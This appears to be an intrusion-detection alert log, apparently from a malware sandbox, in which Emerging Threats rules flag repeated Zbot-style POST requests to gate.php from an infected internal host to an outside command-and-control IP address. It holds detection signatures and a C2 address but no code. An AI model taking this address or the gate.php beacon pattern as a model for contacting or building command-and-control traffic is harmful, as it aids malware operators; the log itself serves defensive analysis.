08/15/21-08:41:37.786103	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.933557	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.933557	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:37.933557	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.079907	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.079907	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.079907	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.220885	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.220885	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.220885	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.361381	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.361381	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.361381	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.501970	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.501970	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.501970	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.643056	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.643056	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.643056	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.783717	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.783717	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.783717	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.924102	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.924102	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:38.924102	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.064352	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.064352	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.064352	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.205544	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.205544	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.205544	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.345872	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.345872	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.345872	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.486907	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.486907	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.486907	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.627473	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.627473	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.627473	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.767935	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.767935	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.767935	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.908980	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.908980	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:39.908980	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.049820	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.049820	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.049820	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.190154	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.190154	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.190154	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.330663	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.330663	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.330663	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.472591	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.472591	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.472591	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.612379	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.612379	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.612379	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.753097	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.753097	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.753097	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.893443	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.893443	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:40.893443	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.037590	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.037590	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.037590	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.174376	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.174376	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.174376	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.315008	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.315008	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.315008	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.455290	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.455290	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.455290	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.596330	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.596330	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.596330	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.737539	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.737539	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.737539	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.877259	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.877259	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:41.877259	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.017501	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.017501	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.017501	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.164676	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.164676	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.164676	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.302551	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.302551	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.302551	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.442926	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.442926	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.442926	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.580746	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.580746	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.580746	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.721140	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.721140	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.721140	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.877808	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.877808	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:42.877808	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.018191	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.018191	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.018191	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.159852	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.159852	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.159852	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.299500	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.299500	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.299500	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.442486	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.442486	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.442486	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.584841	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.584841	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.584841	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.725262	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.725262	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.725262	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.877917	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.877917	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:43.877917	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.017035	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.017035	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.017035	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.157626	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.157626	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.157626	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.328617	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.328617	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.328617	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.474514	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.474514	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.474514	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.614452	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.614452	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.614452	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.755200	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.755200	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.755200	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.893581	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.893581	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:44.893581	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.034524	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.034524	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.034524	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.174311	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.174311	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.174311	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.315713	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.315713	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.315713	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.455680	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.455680	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.455680	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.596140	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.596140	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.596140	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.737337	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.737337	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.737337	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.877884	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.877884	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:45.877884	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.018108	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.018108	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.018108	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.158986	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.158986	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.158986	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.299309	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.299309	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.299309	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.440218	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.440218	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.440218	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.579829	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.579829	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.579829	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.721811	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.721811	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.721811	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.865885	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.865885	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:46.865885	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.003723	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.003723	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.003723	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.144621	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.144621	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.144621	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.283850	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.283850	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.283850	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.423904	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
